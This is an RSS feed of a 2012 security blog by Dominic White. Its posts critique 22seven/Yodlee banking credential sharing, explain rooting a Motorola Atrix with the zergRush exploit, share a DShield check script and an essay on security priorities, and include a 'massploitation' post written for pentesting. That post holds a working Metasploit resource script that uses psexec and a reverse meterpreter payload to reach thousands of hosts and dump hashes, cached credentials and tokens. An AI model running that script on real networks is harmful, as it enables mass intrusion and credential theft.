<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" >
<channel>
    
    <title>Dominic White - Security</title>
    <link>http://www.singe.za.net/blog/</link>
    <description>.tHE pRODUCT - Security &amp; Privacy Blog</description>
    <dc:language>en</dc:language>
    <generator>Serendipity  - http://www.s9y.org/</generator>
    <managingEditor>webmaster@singe.rucus.net</managingEditor>
<webMaster>webmaster@singe.rucus.net</webMaster>
<ttl>2160</ttl>
<pubDate>Sat, 04 Feb 2012 06:42:43 GMT</pubDate>

    <image>
        <url>http://singe.za.net/pics/links/tHEpRODUCT-blue.gif</url>
        <title>RSS: Dominic White - Security - .tHE pRODUCT - Security &amp; Privacy Blog</title>
        <link>http://www.singe.za.net/blog/</link>
        <width>120</width>
        <height>29</height>
    </image>

<item>
    <title>Internet Banking, 22seven &amp; Security Fallacies</title>
    <link>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1045</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1045</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    There&#039;s been a lot of hoopla recently about internet banking security and the introduction of 22seven. I&#039;d like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.&lt;br /&gt; &lt;h3&gt;1) 22seven is secure &lt;/h3&gt; 
&lt;p&gt;Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in &lt;a href=&quot;https://www.22seven.com/security.html&quot;&gt;their description&lt;/a&gt;. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don&#039;t know if the testers did a good job or not. For me to take their claim seriously I&#039;d like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can&#039;t know.&lt;/p&gt; 
&lt;p&gt;On the flip side, I use tons of online services all day that don&#039;t even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don&#039;t want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;2) 22seven is safe because they use Yodlee and they are safe&lt;/h3&gt; 
&lt;p&gt;This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by &lt;a href=&quot;http://simon.co.za/why-its-safe-to-use-22seven/&quot;&gt;Simon Dingle&lt;/a&gt;. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. &lt;a href=&quot;http://memeburn.com/2012/02/why-22seven-is-most-probably-but-not-necessarily-safe/&quot;&gt;Paul Cartmel&lt;/a&gt; reminds us of the old security truism; that you&#039;re only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren&#039;t targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.&lt;/p&gt; 
&lt;p&gt;Even then, the use of a third party, with whom I have no contractual relationship, in another country&#039;s jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?&lt;/p&gt; 
&lt;p&gt;Once again, you do this all the time, so put it into perspective a little :)&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;3) Yodlee is safe, because they&#039;ve never been breached in 13 years&lt;/h3&gt; 
&lt;p&gt;If you refer back to point (1) you&#039;ll note that I didn&#039;t use &amp;quot;no past breaches&amp;quot; as a criteria for &amp;quot;secure&amp;quot;. This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don&#039;t have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.&lt;/p&gt; 
&lt;h3&gt;4) Yodlee&#039;s access to your bank account is a good idea&lt;/h3&gt; 
&lt;p&gt;I&#039;m paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM&#039;s that support this have been around for a while. I&#039;ve been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you&#039;ll not I do fall prey to some of the problems I listed above re jurisdiction &amp;amp; the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn&#039;t require credential disclosure. Here, let me draw a picture:&lt;/p&gt; 
&lt;p&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot;&gt;&lt;!-- s9ymdb:123 --&gt;&lt;img width=&quot;640&quot; height=&quot;167&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;/p&gt; 
&lt;h3&gt;Banks Response&lt;br /&gt;&lt;/h3&gt; 
&lt;p&gt;There seem to have been two responses from two banks, Absa and FNB. Absa&#039;s response was to block Yodlee&#039;s servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, &lt;del&gt;has responded by&lt;/del&gt; will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional (&amp;quot;confirmation&amp;quot;) OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you&#039;ve found an illegal one, it&#039;s possibly too late). &lt;del&gt;Hopefully they&#039;ll respond. &lt;/del&gt;FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.&lt;/p&gt; 
&lt;h3&gt;Conclusion&lt;/h3&gt; 
&lt;p&gt;I&#039;m not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I&#039;m not even saying us not knowing they&#039;re safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I&#039;m sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I&#039;m also not joining in any name calling, I disagree with some of Simon and Paul&#039;s points and agree with others, but this stands as my opinion in the end.&lt;/p&gt; 
&lt;p&gt;Update: Modified the &amp;quot;Bank&#039;s Response&amp;quot; section based on feedback from FNB. Thanks for going to the trouble of contacting me :)&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 02 Feb 2012 14:26:01 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1045-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>How to root a Motorola Atrix 4G on 2.3.4</title>
    <link>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1044</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1044</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Thanks to &lt;a href=&quot;http://simon.co.za/&quot; title=&quot;Simon Dingle&quot;&gt;Simon Dingle&lt;/a&gt;, I&#039;m going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the &amp;quot;direct consequences&amp;quot; camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying &amp;quot;shady unknown consequences&amp;quot; camp, an app call &amp;quot;Arabware [1]&amp;quot; offered to &amp;quot;localize&amp;quot; my services, and&amp;#160; also could not be uninstalled or stopped. I decided it was time I got root.&lt;/p&gt; 
&lt;p&gt;The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola &lt;strong&gt;DOES NOT HAVE AN UNLOCKED BOOTLOADER&lt;/strong&gt;. No problem they say, &lt;a href=&quot;http://www.addictivetips.com/mobile/unlock-motorola-atrix-4g-bootloader-on-froyo-gingerbread/&quot;&gt;just flash this firmware in this ZIP file&lt;/a&gt;, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it: &lt;/p&gt; 
&lt;blockquote&gt;&amp;quot;The2dCour, known troll in your phone.&amp;quot;&lt;/blockquote&gt; Awesome. Not a chance I&#039;m touching that.&lt;br /&gt;Here&#039;s a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.&lt;br /&gt; 
&lt;p&gt; &lt;/p&gt; &lt;p&gt;All I wanted was root. I&#039;m familiar enough with Linux to make my way after that. If you&#039;re &amp;quot;non-technical&amp;quot; then move along :) The steps are:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt; Put your phone into USB debugging mode.&lt;/li&gt; 
&lt;li&gt;Download and install the Android Debugging tool from the &lt;a href=&quot;http://developer.android.com/sdk/&quot; title=&quot;Android SDK&quot;&gt;Android SDK&lt;/a&gt;.&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;You&#039;ll need to run the SDK executable (android) and install the &amp;quot;Platform Tools&amp;quot; to get ADB these days.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Plug your phone into your computer.&lt;/li&gt; 
&lt;li&gt;Run &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb devices&lt;/font&gt;&amp;quot;. You should see the serial number of your phone appear.&lt;/li&gt; 
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/downloads/revolutionary/zergRush/zergRush.zip&quot;&gt;binary zergRush exploit&lt;/a&gt; from it&#039;s developers. The &lt;a href=&quot;https://github.com/revolutionary/zergRush/blob/37f10d59dbe9ca6d76930a7e136d2d69b4b0b159/zergRush.c&quot; title=&quot;zergRush Source&quot;&gt;source code&lt;/a&gt; is also available for you to examine (or compile).&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Upload it to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb push zergRush /data/local/tmp&lt;/font&gt;&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Connect to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb shell&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;In the shell, switch to the temp dir and run zergRush &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;cd /data/local/tmp/; ./zergRush&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;You should see the following (the image below has been partially redacted):&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;!-- s9ymdb:122 --&gt;&lt;img width=&quot;469&quot; height=&quot;271&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/zergRush-Atrix.png&quot; alt=&quot;&quot;  /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;If you get the &amp;quot;Killing ADB and restarting as root&amp;quot; line, then it&#039;s worked. Exit your adb shell and reconnect. You&#039;ll see a &amp;quot;#&amp;quot; as your prompt indicating you&#039;re root.&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;And that&#039;s it. On the one hand, I&#039;m happy there&#039;s a &amp;quot;safer&amp;quot; easy way to get root on my own device, on the other hand, I&#039;m uncomfortable with the fact that one of Motorola&#039;s flagship phones can be 0nwed so easily, with no update forthcoming.&lt;/p&gt; 
&lt;p&gt;[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I&#039;m not saying it&#039;s shady, just that I see no reason why it should be a mandatory app in South Africa.&lt;br /&gt;&lt;/p&gt; 
&lt;ol&gt; &lt;/ol&gt; 
    </content:encoded>

    <pubDate>Mon, 16 Jan 2012 14:56:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1044-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Metasploit Massploitation</title>
    <link>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1043</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1043</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;In light of past and recent posts from mubix (&lt;a href=&quot;blog.metasploit.com/2010/03/automating-metasploit-console.html&quot; title=&quot;Automating Metasploit Console&quot;&gt;one&lt;/a&gt;, &lt;a href=&quot;http://www.room362.com/blog/2011/11/1/run-post-modules-on-all-sessions.html&quot; title=&quot;Run POST modules on all sessions&quot;&gt;two&lt;/a&gt;) and &lt;a href=&quot;http://blog.pentestify.com/simple-framework-domain-token-scanner&quot;&gt;jcran&lt;/a&gt;, I thought I&#039;d post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I&#039;d throw my hat in the ring. Thank to mubix for his help on the job with some of it.&lt;br /&gt;&lt;/p&gt; 
&lt;div class=&quot;storycontent&quot;&gt; 
&lt;p&gt;On a pentest with a massive internal network, we managed to 
get access to 22k machines as local admin using a local account (verified with ncrack). 
Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from 
each of these. So I put together the following metasploit massploitation
 script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting &amp;amp; pulling the info without needed all the sessions to be open at once.&lt;br /&gt;&lt;/p&gt; 
&lt;/div&gt; Essentially, there are three parts: 


&lt;ol&gt; 
&lt;li&gt;The massploitation.rc, this is the script run in the console (capturing the output is a good idea)&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The targets file which has a list of targets, one per line&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt;&lt;strong&gt;massploit-generic.rc&lt;/strong&gt; 
&lt;pre&gt;use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST &amp;lt;Local IP&amp;gt;
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser &amp;lt;username&amp;gt;
set SMBPass &amp;lt;pass or hash&amp;gt;
set SMBDomain &quot;.&quot;
set DisablePayloadHandler true

&amp;lt;ruby&amp;gt;
	hostsfile = &quot;&amp;lt;file containing hosts one per line&amp;gt;&quot;
	File.open(hostsfile).each do |host|
		host.strip!
		print_status(&quot;Targetting #{host}&quot;)
		self.run_single(&quot;set RHOST #{host}&quot;)
		self.run_single(&quot;exploit -j -z&quot;)
		flag = false
		count = 0
		while ( flag == false and count &amp;lt; 5 )
			if ( framework.sessions.length &amp;gt; 0 )
				self.run_single(&quot;sessions -s extract.rc&quot;)
				flag = true
				#self.run_single(&quot;sessions &lt;a href=&quot;http://framework.sessions.length&quot;&gt;-K&quot;)&lt;/a&gt;  #trying to resolve the race condition, this didn&#039;t work
			else
				count += 1
			end
			sleep(5)
		end
	end
&amp;lt;/ruby&amp;gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;extract.rc&lt;/strong&gt;&lt;/p&gt; 
&lt;pre&gt;print_status(client.sys.config.sysinfo[&quot;Computer&quot;])
print_status(client.sys.config.sysinfo[&quot;OS&quot;])
client.console.run_single(&quot;load incognito&quot;)
client.console.run_single(&quot;list_tokens -u&quot;)
client.console.run_single(&quot;run post/windows/gather/cachedump&quot;)
client.console.run_single(&quot;hashdump&quot;)
&lt;a href=&quot;http://client.sys.config.sysinfo&quot;&gt;client.console.run_single(&quot;exit&quot;)&lt;/a&gt;  #Rather kill the session here&lt;/pre&gt; 
&lt;p&gt;The stuff isn’t perfect, as there is a race condition where sometimes
 it tries to execute the meterpreter script before the meterpreter 
session is ready. Other than the delay, I’ll need to spend some time to 
understand metasploit’s threading.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 08 Jan 2012 20:42:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1043-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Am I Hacked?</title>
    <link>http://www.singe.za.net/blog/archives/494-Am-I-Hacked.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/494-Am-I-Hacked.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=494</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=494</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it &lt;a href=&quot;https://github.com/singe/hackcheck&quot;&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a title=&quot;Distributed Intrusion Detection System&quot; href=&quot;http://www.dshield.org/&quot;&gt;DShield&lt;/a&gt; has a &lt;a title=&quot;Are you cracked?&quot; href=&quot;http://www.dshield.org/warning_explanation.php&quot;&gt;nice webpage&lt;/a&gt; where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as &lt;a title=&quot;Leaks from the Tinfoil Beanie&quot; href=&quot;http://johannes.homepc.org/blog/&quot;&gt;
Johannes Ullrich&lt;/a&gt;&#039;s &amp;quot;&lt;a title=&quot;Find out what got you before it gets you.&quot; href=&quot;http://www.amihacked.com/&quot;&gt;amIhacked?&lt;/a&gt;&amp;quot;.&lt;/p&gt;
&lt;p&gt;I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren&#039;t cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.&lt;/p&gt; The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download &lt;a href=&quot;http://singe.rucus.net/utils/hackcheck&quot; title=&quot;HackCheck&quot;&gt;here&lt;/a&gt;. Example output:

&lt;blockquote&gt; 
&lt;pre&gt;$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.&lt;/pre&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The cron script is very simple. Just drop it into /etc/cron.daily or the like.
&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;pre&gt;#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z &quot;$MAILTO&quot; ] &amp;amp;&amp;amp; exit 1

hackcheck.pl $IP &amp;gt; /dev/null
if [ &quot;$?&quot; -eq &quot;1&quot; ]; then
        hackcheck.pl $IP| \
        mail -e -s &quot;DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]&quot; $MAILTO
fi&lt;/pre&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs &lt;a href=&quot;http://www.dshield.org/howto.php&quot; title=&quot;How to submit your firewall logs to DShield&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 07 Aug 2005 04:16:53 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/494-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Squinting at Security Drivers &amp; Perspective-based Biases</title>
    <link>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1039</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1039</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;Originally published on &lt;a href=&quot;http://www.sensepost.com/blog/6287.html&quot;&gt;SensePost&#039;s blog&lt;/a&gt;.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;While doing some thinking on threat modelling I started examining 
what the usual drivers of security spend and controls are in an 
organisation. I&#039;ve spent some time on multiple fronts, security 
management (been audited, had CIOs push for priorities), security 
auditing (followed workpapers and audit plans), pentesting (broke in 
however we could) and security consulting (tried to help people fix 
stuff) and even dabbled with trying to sell some security hardware. This
 has given me some insight (or at least an opinion) into how people have
 tried to justify security budgets, changes, and findings or how I tried
 to. This is a write up of what I believe these to be (caveat: this is 
my opinion). This is certainly not universalisable, i.e. it&#039;s possible 
to find unbiased highly experienced people, but they will still have to 
fight the tendencies their position puts on them. What I&#039;d want you to 
take away from this is that we need to move away from using these 
drivers in isolation, and towards more holistic risk management 
techniques, of which I feel threat modelling is one (although this entry
 isn&#039;t about threat modelling).

&lt;/p&gt; &lt;div class=&quot;entry_content&quot;&gt;&lt;strong&gt;Auditors
&lt;/strong&gt; 
&lt;p&gt;The tick box monkeys themselves, they provide a useful function, and 
are so universally legislated and embedded in best practise, that 
everyone has a few decades of experience being on the giving or 
receiving end of a financial audit. The priorities audit reports seem to
 drive are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Vulnerabilities in financial systems&lt;/strong&gt;. The whole 
audit hierarchy was created around financial controls, and so sticks 
close to financial systems when venturing into IT&#039;s space. Detailed and 
complex collusion possibilities will be discussed when approving 
payments, but the fact that you can reset anyone&#039;s password at the 
helpdesk is sometimes missed, and more advanced attacks like token 
hijacking are often ignored.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Audit house priorities&lt;/strong&gt;. Audit houses get driven 
just like anyone else. While I wasn&#039;t around for Enron, the 
reverberations could still be felt years later when I worked at one. 
What&#039;s more, audit houses are increasingly finding revenue coming from 
consulting gigs and need to keep their smart people happy. This leads to
 external audit selling &amp;quot;add-ons&amp;quot; like identity management audits 
(sometimes, they&#039;re even incentivised to).&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Auditor skills&lt;/strong&gt;. The auditor you get could be an 
amazing business process auditor but useless when it comes to infosec, 
but next year it could be the other way around. It&#039;s equally possibly 
with internal audit. Thus, the strengths of the auditor will determine 
where you get nailed the hardest.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;The Rotation plan&lt;/strong&gt;. This year system X, next year 
system Y. It doesn&#039;t mean system X has gotten better, just that they 
moved on. If you spend your year responding to the audit on system Y and
 ignore X, you&#039;ll miss vital stuff.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Known systems&lt;/strong&gt;. External and internal auditors 
don&#039;t know IT&#039;s business in detail. There could be all sorts of critical
 systems (or pivot points) that are ignored because they weren&#039;t in the 
&amp;quot;flow of financial information&amp;quot; spread sheet.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Vendors
&lt;/strong&gt;
Security vendors are the love to hate people in the infosec world. 
Thinking of them invokes pictures of greasy salesmen phoning your CIO to
 ask if your security chumps have even thought about network admission 
control (true story). On the other hand if you&#039;ve ever been a small team
 trying to secure a large org, you&#039;ll know you can&#039;t do it without 
automation and at some point you&#039;ll need to purchase some products. 
Their marketing and sales people get all over the place and end up 
driving controls; whether it&#039;s “management by in-flight magazine”, an 
idea punted at a sponsored conference, or the result of a sales meeting. 

&lt;p&gt;But security vendors prioritisation of controls are driven by:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Problems&lt;/strong&gt;. Security products that work 
eventually get deployed everywhere they&#039;re going to be deployed. They 
continue to bring in income, but the vendor needs a new bright shiny 
thing they can take to their existing market and sell. Thus, new 
problems become new scary things that they can use to push product. 
Think of the Gartner hype curve. Whatever they&#039;re selling, be it DLP, 
NAC, DAM, APT prevention or IPS if your firewall works more like a 
switch and your passwords are all &amp;quot;P@55w0rd&amp;quot; then you&#039;ve got other 
problems to focus on first.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Overinflated problems&lt;/strong&gt;. Some problems really aren&#039;t
 as big as they&#039;re made out to be by vendors, but making them look big 
is a key part of the sell. Even vendors who don&#039;t mean to overinflate 
end up doing it just because they spend all day thinking of ways to 
justify (even legitimate) purchases.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Products as solutions&lt;/strong&gt;. Installing a product 
designed to help with a problem isn&#039;t the same as fixing the problem, 
and vendors aren&#039;t great at seeing that (some are). Take patch 
management solutions, there are some really awesome, mature products out
 there, but if you can&#039;t work out where your machines are, how many 
there are or get creds to them, then you&#039;ve got a long way to go before 
that product starts solving the problem it&#039;s supposed to.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Pentesters&lt;/strong&gt; 
&lt;p&gt;Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a 
flurry of media reports hit the public and some people go into panic 
mode. I remember &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Dan_Kaminsky%22%20%5Cl%20%22Flaw_in_DNS&quot;&gt;The DNS bug&lt;/a&gt;,
 where all that was needed was for people to apply a patch, but which, 
due to the publicity around it, garnered a significant amount of 
interest from people who it usually wouldn&#039;t, and probably shouldn&#039;t 
have cared so much. But many pentesters trade on this publicity; and 
some pentesting companies use this instead of a marketing budget. That&#039;s
 not their only, or primary, motivation, and in the end things get 
fixed, new techniques shared and the world a better place. The cynical 
view then is that some of the motivations for vulnerability researchers,
 and what they end up prioritising are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Attacks&lt;/strong&gt;. This is somewhat similar to the vendors optimising for &amp;quot;new problems&amp;quot; but not quite the same. When Errata introduced &lt;a href=&quot;http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html&quot;&gt;Hamster at ToorCon ‘07&lt;/a&gt;,
 I heard tales of people swearing at them from the back. I wasn&#039;t there,
 but I imagine some of the calls were because Layer 2 attacks have been 
around and well known for over a decade now. Many of us ignored 
FireSheep for the same reason, even if it motivated the biggest moves to
 SSL yet. But vuln researchers and the scene aren&#039;t interested, it needs
 to be shiny, new and leet . This focus on the new, and the press it 
drives, has defenders running around trying to fix new problems, when 
they haven&#039;t fixed the old ones.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Complex Attacks&lt;/strong&gt;. Related to the above, a new 
attack can&#039;t be really basic to do well, it needs to involve 
considerable skill. When Mark Dowd released his &lt;a href=&quot;http://chargen.matasano.com/chargen/2007/7/3/this-new-vulnerability-dowds-inhuman-flash-exploit.html&quot;&gt;highly complex flash attack&lt;/a&gt;,
 he was rightly given much kudos. An XSS attack on the other hand, was 
initially ignored by many. However, one lead to a wide class of 
prevalent vulns, while the other requires you to be, well, Mark Dowd. 
This mean some of the issues that should be obvious, that underpin core 
infrastructure, but that aren&#039;t sexy, don&#039;t get looked at.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Shiny Attacks&lt;/strong&gt;. Some attacks are just really well 
